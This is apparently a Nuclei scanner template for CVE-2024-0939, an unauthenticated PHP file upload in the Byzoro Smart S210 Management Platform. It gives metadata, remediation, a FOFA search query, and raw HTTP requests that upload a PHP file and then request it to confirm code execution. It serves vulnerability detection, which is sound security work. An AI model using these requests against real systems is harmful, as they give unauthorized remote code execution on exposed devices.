CVE-2024-0939: Smart S210 Management Platform - Arbitary File Upload

id: CVE-2024-0939

info:
  name: Smart S210 Management Platform - Arbitary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files through the uploadfile.php component and execute malicious code on the server, potentially compromising the entire Smart S210 management platform and connected IoT devices.
  remediation: |
    Update Byzoro Smart S210 firmware to a version newer than 20240117 that validates file types, restricts executable uploads, and implements proper access controls on the upload functionality.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0939
    - https://vuldb.com/?ctiid.252184
    - https://vuldb.com/?id.252184
    - https://vuldb.com/?submit.269268
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0939
    cwe-id: CWE-434
    epss-score: 0.88582
    epss-percentile: 0.99485
    cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: byzoro
    product: smart_s210_firmware
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart,file-upload,intrusive,rce,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /Tool/uploadfile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
        Accept-Encoding: gzip, deflate, br

        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="file_upload"; filename="contents.php"
        Content-Type: application/octet-stream

        <?php print({{num1}}*{{num2}}); ?>
        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="txt_path"

        /home/{{filename}}.php
        ------WebKitFormBoundarywnsogfin--

      - |
        GET /home/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{result}}'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ee671fdff96ff0e57b0e18a8c95fd3f9214842049302ae9bc8c74caa4ec7f27f022100804935f1a798c96d843f7a8f299f2d3075ab34d52fa3bae735ea7a0bb4767f6a:922c64590222798bb761d5b6d8e72950